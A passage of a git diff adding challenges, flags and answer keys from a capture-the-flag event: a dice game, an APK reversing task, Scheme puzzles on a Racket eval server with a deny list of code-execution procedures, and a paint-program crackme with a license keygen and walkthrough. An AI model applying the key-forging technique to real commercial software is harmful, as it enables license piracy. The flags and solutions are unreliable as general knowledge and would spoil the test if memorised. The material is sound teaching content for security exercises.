0x31, 0x6e, 0x33, 0x33, 0x72, 0x00}; + +void f6(int p) { printf("\nYou rolled: %i\n", p); } +void f7(int c) { printf("I rolled: %i\n", c); } + +int f9() { return (rand() % 6) + 1; } + +char gggg[] = {0x31, 0x6e, 0x67, 0x31, 0x30, 0x31, 0x7d, 0x00}; + +int f10(int a) { return (rand() % (6 - a + 1)) + a; } + +int main(int argc, char const *argv[]) { + f1(); + char x = 0x62; + char y = 0x61; + f2(); + char z = 0x69; + srand(time(0)); + f3(); + char input[128]; + f4(); + char a = 0x74; + f5(); + printf("\nRoll the dice!\n"); + fgets(input, sizeof(input), stdin); + if (strcmp(input, "roll\n")) { + printf( + "I thought the instructions were simple? Simply type 'roll' to roll " + "the dice!\n"); + } else { + int player = f9(); + f6(player); + int cpu = f10(player); + f7(cpu); + if (cpu >= player) { + printf("\nAha, I won! I keep on winning!\n"); + } else { + printf("\nWow, you actually beat me. Here is, as promised, your flag:\n"); + printf("%s", ffff); + printf("%s", llll); + printf("%s", aaaa); + printf("%s", gggg); + } + } +} diff --git a/rise-of-the-androids/README.md b/rise-of-the-androids/README.md new file mode 100644 index 0000000..bce8ef6 --- /dev/null +++ b/rise-of-the-androids/README.md @@ -0,0 +1,10 @@ +# Rise of the Androids +## Text +Apple users, you're kinda screwed :) +(Just kidding) + +## Files +igctf.apk + +## How to Deploy +/ diff --git a/rise-of-the-androids/SOLUTION.md b/rise-of-the-androids/SOLUTION.md new file mode 100644 index 0000000..82596ac --- /dev/null +++ b/rise-of-the-androids/SOLUTION.md @@ -0,0 +1,14 @@ +## Difficulty +Medium, 35 points + +## How To Solve +1. Decompile the APK, (e.g. using JADX or online: http://www.javadecompilers.com/apk). +2. Figure out the (rather simple) logic of the app, which is located in the `MainActivity.java` file: + - The decoded flag is shown in a toast whenever the code is correct. +3. The code is a construction of strings fetched from `resources/res/values/strings.xml`. +4. Reconstruct the code, enter the code in the app and the flag will be shown. + +The correct code is 7402583711. + +## Flag +IGCTF{Sp0tt3dTheAndr01dUser} diff --git a/rise-of-the-androids/igctf.apk b/rise-of-the-androids/igctf.apk new file mode 100644 index 0000000..0e56d78 Binary files /dev/null and b/rise-of-the-androids/igctf.apk differ diff --git a/scheme-challenge/README.md b/scheme-challenge/README.md new file mode 100644 index 0000000..4aee1e2 --- /dev/null +++ b/scheme-challenge/README.md @@ -0,0 +1,16 @@ +# RE:Prefix +Contains 4 challenges in total so just add 0, 1, 2, 3 to the name. +Description should always be the same. + +## Title +RE:Prefix + +## Text +This is a series of challenges where you need to program something in Scheme, but only a small subset of the language is allowed to be used. More information is given on the website: . +Correctly solving one of the challenges will yield a flag. You can try to attack the website itself, however it is not recommend since it contains no vulnerabilities to the best of our knowledge. + +## Files +None + +## How to deploy +A Dockerfile and a docker-compose is provided that starts the server on port 8000. This port needs to be exposed. The description needs to be filled in so participants can connect to the server. diff --git a/scheme-challenge/SOLUTION.md b/scheme-challenge/SOLUTION.md new file mode 100644 index 0000000..5a393f7 --- /dev/null +++ b/scheme-challenge/SOLUTION.md @@ -0,0 +1,150 @@ +# Solutions for all 4 challenges +Point estimates are fairly arbitrary and can be changed by the organizers. + +## Challenge 0 +### Difficulty +- Free (5 points) + +### How To Solve +`(lambda (a) (+ a 1))` + +### Flag +IGCTF{YouPassedTheSanityCheck!} + +------------------------------------- +## Challenge 1 +### Difficulty +- Easy (35 points) + +### How To Solve +The readable version: +```scheme +(lambda (str) + (define str-l (string-length str)) + (define prefix-length 2) + (define (loop idx pref-idx) + (cond + ((= pref-idx prefix-length) ;Entire prefix was found + (- idx prefix-length)) ;Return the start of the prefix + ((= idx str-l) ;End of the string, prefix not found + -1) + ((char=? (string-ref str idx) ;Did we find part of the prefix? + (string-ref prefix pref-idx)) + (loop (+ idx 1) (+ pref-idx 1))) ;Advance prefix-idx, keep going + (else + (loop (+ idx 1) 0)))) ;No match, reset prefex-idx and continue + (loop 0 0)) +``` +Applying the constraints from the challenge gives: +```scheme +(lambda (a) + (define b (string-length a)) + (define c 2) + (define (f d e) + (if (= e c) + (- d c) + (if (= d b) + -1 + (if (char=? (string-ref a d) + (string-ref "re" e)) + (f (+ d 1) (+ e 1)) + (f (+ d 1) 0))))) + (f 0 0)) +``` + +### Flag +IGCTF{WeHaveRegexesForThis} + +----------------------------------------------- +## Challenge 2 +### Difficulty +- Average (60 points) + +### How To Solve +Readable version: +```scheme +(define (get-prefix-idx str) + (define l (string->list str)) + (define l-padded (append l (list #\a))) ;Padding in case of empty string as input + (define r-eq ;For every char in the string, is it equal to 'r' + (map (lambda (c) + (char=? #\r c)) + l-padded)) + (define e-eq ;For every char in the string is it equal to 'e' + (map (lambda (c) + (char=? #\e c)) + (append (cdr l-padded) (list #\a)))) ;We shift this one to the right (and add more padding) + (cdr (foldl ; Iterate through both lists at once + (lambda (r e acc) ; Accumulate current idx and potential result + (if (and r e (= (cdr acc) -1)) + (cons (car acc) (car acc)) + (cons (+ 1 (car acc)) (cdr acc)))) + (cons 0 -1) + r-eq e-eq))) +``` + +Renaming all variables and turning it into a lambda gives us: +```scheme +(lambda (a) + (define b (string->list a)) + (define c (append b (list #\a))) + (define d + (map (lambda (j) + (char=? #\r j)) + c)) + (define e + (map (lambda (j) + (char=? #\e j)) + (append (cdr c) (list #\a)))) + (cdr (foldl + (lambda (f h g) + (if (and f h (= (cdr g) -1)) + (cons (car g) (car g)) + (cons (+ 1 (car g)) (cdr g)))) + (cons 0 -1) + d e))) +``` + +### Flag +IGCTF{WhyWriteALoopWhenYouCanJustWriteAContrivedFold} + +------- +## Challenge 3 +### Difficulty +- Hard (80 points) + +### How To Solve +We can start working from the solution to Challenge 1. Two problems need to be solved + +1) We can't use define to bind variables, and we don't have any let either. +We can work around this by using lambdas instead to bind values. +2) Without define or letrec, we can't explicitly do recursion. The Y-combinator or +fixpoint operator come to our rescue here. + +Combine (1) and (2) and you get: + +```scheme +(lambda (a) + ((lambda (b) + ((lambda (i) + (i 0 0)) + ((lambda (e d) + (e d)) + (lambda (c) + ((lambda (b) (b b)) + (lambda (b) (c (lambda (i j) ((b b) i j)))))) + (lambda (f) + (lambda (d e) + (if (= e 2) + (- d 2) + (if (= d b) + -1 + (if (char=? (string-ref a d) + (string-ref "re" e)) + (f (+ d 1) (+ e 1)) + (f (+ d 1) 0))))))))) + (string-length a))) +``` + +### Flag +IGCTF{YouBetterHaveMadeAFixpointOperatorForThis} diff --git a/scheme-challenge/src/Dockerfile b/scheme-challenge/src/Dockerfile new file mode 100644 index 0000000..4cfdfb8 --- /dev/null +++ b/scheme-challenge/src/Dockerfile @@ -0,0 +1,8 @@ +FROM racket/racket:8.0-full + +COPY . /racket +RUN chmod +x /racket/docker_entrypoint.sh +WORKDIR /racket + +EXPOSE 8000 +ENTRYPOINT ["/racket/docker_entrypoint.sh"] diff --git a/scheme-challenge/src/assets/favicon.ico b/scheme-challenge/src/assets/favicon.ico new file mode 100644 index 0000000..85aa6a7 Binary files /dev/null and b/scheme-challenge/src/assets/favicon.ico differ diff --git a/scheme-challenge/src/assets/rkt.png b/scheme-challenge/src/assets/rkt.png new file mode 100644 index 0000000..20c6792 Binary files /dev/null and b/scheme-challenge/src/assets/rkt.png differ diff --git a/scheme-challenge/src/assets/sicp.jpg b/scheme-challenge/src/assets/sicp.jpg new file mode 100644 index 0000000..a33fc0e Binary files /dev/null and b/scheme-challenge/src/assets/sicp.jpg differ diff --git a/scheme-challenge/src/assets/style.css b/scheme-challenge/src/assets/style.css new file mode 100644 index 0000000..5d8ef89 --- /dev/null +++ b/scheme-challenge/src/assets/style.css @@ -0,0 +1,59 @@ +/*body { + background-image: url("rkt.png"); + background-color: grey; +}*/ + +.challenges { + padding-top: 10px; + max-width: 800px; + margin: auto; +} + +.intro { + max-width: 800px; + margin: auto; +} + +.challenge { + border: 4px solid black; + padding: 5px; + margin-top: 15px; +} + +h1 { + color: navy; + margin-left: 20px; +} + +.output { + border: 2px solid black; + padding: 3px; + margin-top: 5px; + margin-bottom: 5px; + margin-right: auto; + font-family: monospace; + font-size: larger; +} + +textarea { + font-family: monospace; + font-size: larger; + width: 100%; + height: 20%; + margin-top: 15px; + margin-bottom: 15px; +} + +.error { + color: #D8000C; + background-color: #FFBABA; + margin: 10px 0px; + padding:12px; +} + +.flag { + color: #4F8A10; + background-color: #DFF2BF; + margin: 10px 0px; + padding:12px; +} diff --git a/scheme-challenge/src/challenge.rkt b/scheme-challenge/src/challenge.rkt new file mode 100644 index 0000000..3a246e8 --- /dev/null +++ b/scheme-challenge/src/challenge.rkt @@ -0,0 +1,40 @@ +#lang racket + +(require racket/format) + +(provide make-challenge add-status (struct-out challenge)) + +(struct challenge (id description flag input output allowed status err)) + +; This list is non-exhaustive, you can help by expanding it. +(define never-allow '(read string->symbol)) + +(define (verify-allowed allowed) + (define res + (map (lambda (sym) + (define found (member sym never-allow)) + (if found + (car found) + '())) + allowed)) + (flatten res)) + +(define (make-challenge id description flag input output allowed) + (define bad-allowed (verify-allowed allowed)) + (cond + ((not (null? bad-allowed)) + (error "Error: you allowed a variable in a challenge that may lead to remote code execution: " (~v bad-allowed))) + ((not (= (length input) (length output))) + (error "Input and output of a challenge needs to be of the same length")) + (else + (challenge id description flag input output allowed #f "")))) + +(define (add-status status err c) + (challenge (challenge-id c) + (challenge-description c) + (challenge-flag c) + (challenge-input c) + (challenge-output c) + (challenge-allowed c) + status + err)) diff --git a/scheme-challenge/src/challenges.rkt b/scheme-challenge/src/challenges.rkt new file mode 100644 index 0000000..ea16887 --- /dev/null +++ b/scheme-challenge/src/challenges.rkt @@ -0,0 +1,44 @@ +#lang racket + +(require "challenge.rkt") + +(provide challenges) + +;This file contains the challenges of the platform +;Make sure the id's are incremental, starting from 0 and correspond to the challenges displayed on the platform +;VERY IMPORTANT: NEVER ALLOW STATE! If state is allowed e.g. through set! it can be abused to simply hardcode the output +;I also recommend making the first challenge a sanity check for instance by having the input and output be the same + +(define variable-names + '(a b c d e f g h i j k l m n o p q r s t u v w x y z)) + +(define challenges + (list + (make-challenge + 0 + "This challenge is the sanity check! Try writing a lambda that adds one to its argument. If you're stuck on this one, ask one of the organisers for help" + "IGCTF{YouPassedTheSanityCheck!}" + (list 1 2 3 4 5 6 7 8 9 10) + (list 2 3 4 5 6 7 8 9 10 11) + `(,@(take variable-names 1) + lambda)) + (make-challenge + 1 + "Determine at which index the given string (first) contains the pattern 're' return -1 if the pattern is not found." + "IGCTF{WeHaveRegexesForThis}" + (list "red" "sure" "racket" "referendum" "literature" "" "counterexample" "differentiation" "バカ") + (list 0 2 -1 0 8 -1 6 5 -1) + `(,@(take variable-names 10) define lambda begin if and or + - = char=? string-ref string-length)) + (make-challenge + 2 + "Same as the previous one, but in a more convoluted way (or straightforward if you're into functional programming)." + "IGCTF{WhyWriteALoopWhenYouCanJustWriteAContrivedFold}" + (list "red" "sure" "racket" "referendum" "literature" "" "counterexample" "differentiation" "バカ") + (list 0 2 -1 0 8 -1 6 5 -1) + `(,@(take variable-names 10) define lambda begin if and or + - = char=? string->list map foldl cons car cdr append list quote)) + (make-challenge + 3 + "define and begin are bloat, you can do without them can't you?" + "IGCTF{YouBetterHaveMadeAFixpointOperatorForThis}" + (list "red" "sure" "racket" "referendum" "literature" "" "counterexample" "differentiation" "バカ") + (list 0 2 -1 0 8 -1 6 5 -1) + `(,@(take variable-names 10) lambda if and or + - = char=? string-ref string-length)))) diff --git a/scheme-challenge/src/docker-compose.yml b/scheme-challenge/src/docker-compose.yml new file mode 100644 index 0000000..72ca246 --- /dev/null +++ b/scheme-challenge/src/docker-compose.yml @@ -0,0 +1,6 @@ +version: '3.9' +services: + scheme-challenge: + build: . + ports: + - 8000:8000 diff --git a/scheme-challenge/src/docker_entrypoint.sh b/scheme-challenge/src/docker_entrypoint.sh new file mode 100644 index 0000000..351e3ca --- /dev/null +++ b/scheme-challenge/src/docker_entrypoint.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +racket server.rkt diff --git a/scheme-challenge/src/either.rkt b/scheme-challenge/src/either.rkt new file mode 100644 index 0000000..c89bcfc --- /dev/null +++ b/scheme-challenge/src/either.rkt @@ -0,0 +1,75 @@ +#lang racket + +(provide left right left? right? squash + >>= return reduce <*> e-map do) + +(struct either (tag value)) + +(define (left val) + (either 'left val)) + +(define (right val) + (either 'right val)) + +(define (left? val) + (and (either? val) (eq? (either-tag val) 'left))) + +(define (right? val) + (not (left? val))) + +(define (>>= e f) + (if (eq? (either-tag e) 'left) + e + (f (either-value e)))) + +(define (return x) + (right x)) + +(define (reduce f-left f-right e) + (if (eq? (either-tag e) 'left) + (f-left (either-value e)) + (f-right (either-value e)))) + +(define (<*> f e) + (cond + ((eq? 'left (either-tag f)) + f) + ((eq? 'left (either-tag e)) + e) + (else + (right ((either-value f) (either-value e)))))) + +(define (e-map f e) + (if (eq? 'left (either-tag e)) + e + (right (f (either-value e))))) + +(define (squash e) + (if (and (right? e) (either? (either-value e))) + (either-value e) + e)) + +; (do +; (<- var1 exp1) +; (exp2) +; (let var2 exp3) +; (return var2)) +; +; --> +; (>>= exp1 (lambda (var1) (exp2) (let ((var2 exp3)) (return var2)))) + +(define-syntax (do stx) + (define (do->lambda exprs) + (define expr (car exprs)) + (cond + ((and (pair? expr) (eq? (car expr) '<-)) + `(>>= ,(caddr expr) (lambda (,(cadr expr)) ,(do->lambda (cdr exprs))))) + ((and (pair? expr) (eq? (car expr) 'let)) + `(let ((,(cadr expr) ,(caddr expr))) ,(do->lambda (cdr exprs)))) + ((null? (cdr exprs)) + expr) + (else + `(begin ,expr ,(do->lambda (cdr exprs)))))) + (let* ((ast (syntax->datum stx)) + (transformed (do->lambda (cdr ast)))) + (datum->syntax stx transformed))) diff --git a/scheme-challenge/src/server.rkt b/scheme-challenge/src/server.rkt new file mode 100644 index 0000000..3495dd2 --- /dev/null +++ b/scheme-challenge/src/server.rkt @@ -0,0 +1,140 @@ +#lang racket + +(require web-server/servlet + web-server/servlet-env) + +(require "challenge.rkt") +(require "either.rkt") +(require "challenges.rkt") +(require "validate.rkt") +(require racket/format) + +; start: request -> response +; Consumes a request and produces a page that displays all of the +; web content. +(define (start request) + (define updated-challenges + (cond ((can-parse-attempt? (request-bindings request)) + (process-attempt (request-bindings request))) + (else + challenges))) + (render-page updated-challenges)) + +; Produces true if bindings contains values for 'id and 'code +(define (can-parse-attempt? bindings) + (and (exists-binding? 'id bindings) + (exists-binding? 'code bindings))) + +; The main piece of code for processing a request +; Takes care of all necesarry error handling and updates a challenge based on the results +(define (process-attempt bindings) + (define input-id (extract-binding/single 'id bindings)) + (define result + (do + (<- id (parse-id input-id)) + (let code (extract-binding/single 'code bindings)) + (<- challenge (get-challenge id)) + (let allowed (challenge-allowed challenge)) + (<- validated-code (validate code allowed)) + (run challenge validated-code))) + (reduce (add-response input-id 'fail) (add-response input-id 'success) result)) + + +; Parse the id of the request +(define (parse-id id) + (define num (string->number id)) + (if num + (right num) + (left "Error parsing challenge id, not a valid number"))) + +; Adds a result to a single challenge (1 arg curried) +(define (add-response id status) + (define id-num (string->number id)) + (lambda (err) + (map (lambda (ch) + (if (equal? id-num (challenge-id ch)) + (add-status status err ch) + ch)) + challenges))) + +; Tries to obtain a certain challenge +(define (get-challenge id) + (if (or (< id 0) (>= id (length challenges))) + (left "Bad challenge id given, stop hacking my platform >:(") + (right (list-ref challenges id)))) + +; Renders the entire page +(define (render-page challenges) + (response/xexpr + `(html (head + (title "Scheme Challenges!") + (link ((rel "stylesheet") (href "style.css"))) + (link ((rel "shortcut icon") (href "favicon.ico") (type "image/x-icon")))) + (body + ,(render-intro) + ,(render-challenges challenges) + (p + (small "I really dislike writing frontends, please don't laugh at my CSS")) + (div ((style "display: none;")) + (a ((href "sicp.jpg")) "Hidden url :o ")))))) + +(define (render-intro) + `(div ((class "intro")) + (h2 "Scheme Programming Challenges") + (h3 "Instructions") + (ul + (li (b "You must write an expression in Scheme that evaluates to a lambda.")) + (li "This lambda should have one parameter.") + (li "The lambda will be called for every given input. If the lambda returns the expected output every time, you get the flag.") + (li "The procedures and variable names you can use are restricted, solve the challenge using only what is available (literals are allowed though).") + (li "Please don't write infinite loops, it will cause your session to hang (sorry, I didn't solve the halting problem).") + (li "There are no exploits possible (I think), digging through the HTML is most likely a waste of time. Solve the challenge the way it's intended.") + (li "The racket dialect is used, see its documentation for details about all given procedures") + (li "Hint: you can only write a single expression, use a begin to make your life easier")))) + +; Renders all challenges +(define (render-challenges challenges) + `(div ((class "challenges")) + ,@(map render-challenge challenges))) + +; Renders a single challenge +(define (render-challenge challenge) + (define status (challenge-status challenge)) + (define err? (eq? status 'fail)) + (define succ? (eq? status 'success)) + `(div ((class "challenge")) + (h3 ,(string-append "Challenge " (number->string(challenge-id challenge)))) + (p ,(challenge-description challenge)) + (div ((class "input-str")) + "Allowed procedures, special-forms and variable names:") + (div ((class "output")) + ,(apply ~a (challenge-allowed challenge) #:separator " | ")) + (div ((class "input-str")) + "Given input:") + (div ((class "output")) + ,(apply ~v (challenge-input challenge) #:separator " | ")) + (div ((class "output-str")) + "Expected output:") + (div ((class "output")) + ,(apply ~v (challenge-output challenge) #:separator " | ")) + (form + (input ((name "id") (type "hidden") (value ,(number->string (challenge-id challenge))))) + (textarea ((name "code"))) + (button ((type "submit")) "Get flag!")) + (div ((class "error") (style ,(if err? "" "display: none;"))) + ,(if (pair? (challenge-err challenge)) + (apply ~a (challenge-err challenge) #:separator " | ") + (~a (challenge-err challenge)))) + (div ((class "flag") (style ,(if succ? "" "display: none;"))) + ,(if succ? + (challenge-flag challenge) + "")))) ;TODO input is cleared after submission + +; #:listen-ip #f +; #:command-line? #t +(displayln "serving on port 8000") +(serve/servlet start + #:servlet-path "/" + #:listen-ip #f + #:command-line? #t + #:extra-files-paths (list (build-path "assets/"))) diff --git a/scheme-challenge/src/validate.rkt b/scheme-challenge/src/validate.rkt new file mode 100644 index 0000000..478d372 --- /dev/null +++ b/scheme-challenge/src/validate.rkt @@ -0,0 +1,42 @@ +; This will be used on the server to validate all source code by the participants before running it +; Allowed procedures and special-forms will vary with each challenge + +#lang racket + +(require "challenge.rkt") +(require "either.rkt") + +(provide validate run) + +(define (validate str allowed) + (call/cc + (lambda (c) + (call-with-exception-handler + (lambda (e) + (c (left (exn-message e)))) + (lambda () + (define expr (read (open-input-string str))) + (if (check-allowed expr allowed) + (right expr) + (left "Error: you used a procedure, special form or variable name that has been disabled."))))))) + +(define (check-allowed expr allowed) + (if (pair? expr) + (andmap (lambda (x) (check-allowed x allowed)) expr) + (or (not (symbol? expr)) (member expr allowed)))) + +; Allowing for functions with multiple arguments is something I leave for the future generation to implement +; It should be quite trivial add +(define (run challenge code) + (call/cc + (lambda (c) + (call-with-exception-handler + (lambda (e) + (c (left (exn-message e)))) + (lambda () + (define input (challenge-input challenge)) + (define func (eval code (make-base-namespace))) + (define res (map (lambda (in) (apply func (list in))) input)) + (if (equal? res (challenge-output challenge)) + (right "") + (left res))))))) diff --git a/scheme-challenge/testing.rkt b/scheme-challenge/testing.rkt new file mode 100644 index 0000000..a390028 --- /dev/null +++ b/scheme-challenge/testing.rkt @@ -0,0 +1,43 @@ +#lang racket + + +(define t + + +(lambda (d) + + (define (b d) + (foldl + (lambda (e a) + (cons (cons e (car (car a))) a)) + (list (list (list))) + d)) + + (define (c a) + (foldl + (lambda (e a) (cons e a)) + (list) + a)) + + ((lambda (d) + (car (foldl + (lambda (e a) + (if (and (and (char=? (car e) #\e) + (char=? (cdr e) #\r)) + (= (car a) -1)) + (cons (cdr a) (+ (cdr a) 1)) + (cons (car a) (+ (cdr a) 1)))) + (cons -1 -1) + (cdr (c (b d)))))) + (string->list d) ) + ) + +) + +(define l '("red" "sure" "racket" "referendum" "literature" "" "counterexample" "differentiation" "バカ")) + +(let loop ((i l)) + (when (not (null? i)) + (begin + (display (t (car i))) (newline) + (loop (cdr i))))) \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-1/README.md b/super-hightech-paint/super-hightech-paint-1/README.md new file mode 100644 index 0000000..1a676dc --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/README.md @@ -0,0 +1,18 @@ +# Super Hightech Paint 1 +## Text +A friend of mine found this new super cool paint program that he wants to use. +Sadly its not free and couldn't find any license keys for the software online. +Luckily he knows you and knows you can usually figure out stuff like this. Can +you generate a license key for him? + +You can contact him via +nc + +## Files +super-hightech-paint + +## How to Deploy + + docker build . + docker run -p 3002:3002 -it + diff --git a/super-hightech-paint/super-hightech-paint-1/SOLUTION.md b/super-hightech-paint/super-hightech-paint-1/SOLUTION.md new file mode 100644 index 0000000..e0da130 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/SOLUTION.md @@ -0,0 +1,20 @@ +## Difficulty +easy - 200/500 punten +(met een tool als ghidra is dit echt geen werk) + +## How To Solve +When you decompile the file with something like ghidra (or gdb if you are feeling naughty), you can see that the main +function passes another function called *app_start* to some GTK functions. + +On closer inspection of this *app_start* function you can see it first checks to see if a keystore file is found and if it +is it loads that file and tries to check and see if the loaded key is valid with *check_is_key_valid*. If no file was found +it shows the popup via *build_license_key_popup*, in which it again uses the *check_is_key_valid* function. + +When looking at *check_is_key_valid* you can clearly see the format of the key has to be SHTP-AAAA-BBBB-CCCC. +Where AAAA and BBBB are hex numbers that have to be larger than 256. On top of that AAAA ^ BBBB has to equal CCCC. + +Now you have enough information to generate your own keys. For example: +"SHTP-0500-0500-0000" + +## Flag +IGCTF{Wh0_n33d5_RSA_wh3N_W3_h4v3_XOR} diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/Makefile b/super-hightech-paint/super-hightech-paint-1/buildfiles/Makefile new file mode 100644 index 0000000..7bc0326 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/Makefile @@ -0,0 +1,24 @@ +CC = gcc +LD = gcc + +CC_FLAGS = -Wall -Wextra -Werror -Wno-unused-parameter -Wno-unused-function -Wno-unused-variable +LD_FLAGS = -rdynamic -lgtk-3 -lgdk-3 -lpangocairo-1.0 -lpango-1.0 -lharfbuzz -latk-1.0 -lcairo-gobject -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lgobject-2.0 -lglib-2.0 + +SOURCES = $(shell find src/ -name "*.c" -type f) +OBJECTS = ${SOURCES:.c=.o} + +INCLUDES = -I ./include -I/usr/include/gtk-3.0 -I/usr/include/at-spi2-atk/2.0 -I/usr/include/at-spi-2.0 -I/usr/include/dbus-1.0 -I/usr/lib/x86_64-linux-gnu/dbus-1.0/include -I/usr/include/gtk-3.0 -I/usr/include/gio-unix-2.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/fribidi -I/usr/include/harfbuzz -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pixman-1 -I/usr/include/uuid -I/usr/include/freetype2 -I/usr/include/libpng16 -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libmount -I/usr/include/blkid -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include + +.PHONY = all clean + +all: super-hightech-paint + +super-hightech-paint: ${OBJECTS} + $(LD) -o $@ $^ $(LD_FLAGS) + +%.o: %.c + $(CC) ${CC_FLAGS} $(INCLUDES) -c $< -o $@ + +clean: + $(info Cleaning dependencies) + rm -rf ${OBJECTS} super-hightech-paint diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/include/paint.h b/super-hightech-paint/super-hightech-paint-1/buildfiles/include/paint.h new file mode 100644 index 0000000..f485256 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/include/paint.h @@ -0,0 +1,6 @@ +#ifndef PAINT_H +#define PAINT_H + +void build_paint(); + +#endif /* PAINT_H */ \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/include/validate.h b/super-hightech-paint/super-hightech-paint-1/buildfiles/include/validate.h new file mode 100644 index 0000000..4346098 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/include/validate.h @@ -0,0 +1,10 @@ +#ifndef VALIDATE_H +#define VALIDATE_H + +#define KEYSTORE_FILE ".keystore" +#define KEYLENGTH 19 + +int check_is_key_valid(const char* key); +void build_license_key_popup(); + +#endif /* VALIDATE_H */ \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/keys/generator.py b/super-hightech-paint/super-hightech-paint-1/buildfiles/keys/generator.py new file mode 100644 index 0000000..9f973a3 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/keys/generator.py @@ -0,0 +1,20 @@ +import random + +def generate_key(nonce: int): + def fmt(x): + return "{:04x}".format(x) + + a = 65536 % nonce + b = 65536 % (65536 - nonce) + + c = a ^ b + key = ["SHTP"] + key.append(fmt(a)) + key.append(fmt(b)) + key.append(fmt(c)) + + print('-'.join(key)) + +generate_key(random.randint(256, 65536-256)) +generate_key(random.randint(256, 65536-256)) +generate_key(random.randint(256, 65536-256)) diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/keys/passwordfile b/super-hightech-paint/super-hightech-paint-1/buildfiles/keys/passwordfile new file mode 100644 index 0000000..b3b695b --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/keys/passwordfile @@ -0,0 +1 @@ +privatepass diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/src/main.c b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/main.c new file mode 100644 index 0000000..454e4ca --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/main.c @@ -0,0 +1,58 @@ +#include +#include + +#include +#include +#include + +#include +#include + +GtkApplication* app; + +/** + * Activates the GUI application. + * Checks to see if the key is valid, if it is we start the paint app + * otherwise it shows the license key popup. + */ +void app_start() +{ + GtkWidget* app_window = gtk_application_window_new(app); + + /* If we already have a key file try and load it from disk */ + FILE *f = fopen(KEYSTORE_FILE, "r"); + if (f != NULL) + { + char* loaded_key = malloc((KEYLENGTH + 1) * sizeof(char)); + + /* Read in the key */ + fread(loaded_key, sizeof(char), KEYLENGTH, f); + /* Check for validity */ + int valid_key = check_is_key_valid(loaded_key); + fclose(f); + free(loaded_key); + + if (valid_key) + { + /* The key was valid, start the program */ + build_paint(); + return; + } + + /* If we end up here the key was not valid */ + } + + build_license_key_popup(); +} + +int main(int argc, char** argv) +{ + int status; + + app = gtk_application_new("org.gtk.superhightechpaint", G_APPLICATION_FLAGS_NONE); + g_signal_connect(app, "activate", G_CALLBACK(app_start), NULL); + status = g_application_run(G_APPLICATION(app), argc, argv); + + g_object_unref(app); + return status; +} \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-1/buildfiles/src/paint.c b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/paint.c new file mode 100644 index 0000000..dbad0d3 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-1/buildfiles/src/paint.c @@ -0,0 +1,208 @@ +#include + +extern GtkApplication *app; +cairo_surface_t* drawsurface; +cairo_t* painter; +GdkRGBA lastcolor; +int linesize = 2; +GtkWidget* draw_area; + +int last_x = -1, last_y = -1; + +static void create_fresh_drawsurface() +{ + drawsurface = cairo_image_surface_create(CAIRO_FORMAT_RGB24, 1280, 600); + painter = cairo_create(drawsurface); + cairo_set_source_rgb(painter, 1,1,1); + cairo_paint(painter); + cairo_fill(painter); + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); +} + +G_MODULE_EXPORT void brush_tool_clicked(GtkWidget* widget, gpointer data) +{ + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); +} + +G_MODULE_EXPORT void eraser_tool_clicked(GtkWidget* widget, gpointer data) +{ + cairo_set_source_rgb(painter, 1, 1, 1); +} + +extern const char* about_xml; + +G_MODULE_EXPORT void about_item_clicked(GtkWidget* widget, gpointer data) +{ + GtkBuilder* builder = gtk_builder_new_from_string(about_xml, strlen(about_xml)); + gtk_builder_set_application(builder, app); + gtk_builder_connect_signals(builder, NULL); + GtkWidget* window = GTK_WIDGET(gtk_builder_get_object(builder, "about_window")); + gtk_widget_show_all(window); +} + +G_MODULE_EXPORT void close_window(GtkWidget* widget, gpointer data) +{ + gtk_window_close(GTK_WINDOW(data)); +} + +G_MODULE_EXPORT void changed_color(GtkWidget* widget, gpointer data) +{ + gtk_color_chooser_get_rgba(GTK_COLOR_CHOOSER(widget), &lastcolor); + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); +} + +G_MODULE_EXPORT void draw_area_pressed(GtkWidget* widget, GdkEventButton* button, gpointer data) +{ + cairo_arc(painter, button->x, button->y, linesize, 0, 2*G_PI); + cairo_fill(painter); + + last_x = button->x; + last_y = button->y; + + + gtk_widget_queue_draw(widget); +} + +G_MODULE_EXPORT void draw_area_release(GtkWidget* widget, GdkEventButton* button, gpointer data) +{ + last_x = -1; + last_y = -1; +} + +G_MODULE_EXPORT void draw_area_motion(GtkWidget* widget, GdkEventMotion* event, gpointer data) +{ + int new_x = event->x; + int new_y = event->y; + + /* this is horrible code, if you are reading this, please look away */ + if (last_x != -1 && last_y != -1) + { + if (new_x == last_x) + { + for (int i = MIN(last_y, new_y); i < MAX(last_y, new_y); i++) + cairo_arc(painter, last_x, i, linesize, 0, 2*G_PI); + } + else + { + if (new_x < last_x) + { + int temp = new_x; + new_x = last_x; + last_x = temp; + temp = new_y; + new_y = last_y; + last_y = temp; + } + + /* To lazy to implement bresenham so floats it is */ + + float y = last_y; + float inc = ((float) new_y - (float) last_y) / (((float) new_x - (float) last_x) ); + for (float x = last_x; x <= new_x; x += 0.1) + { + cairo_arc(painter, (int) x, (int) y, linesize, 0, 2*G_PI); + y += 0.1 * inc; + } + } + + } 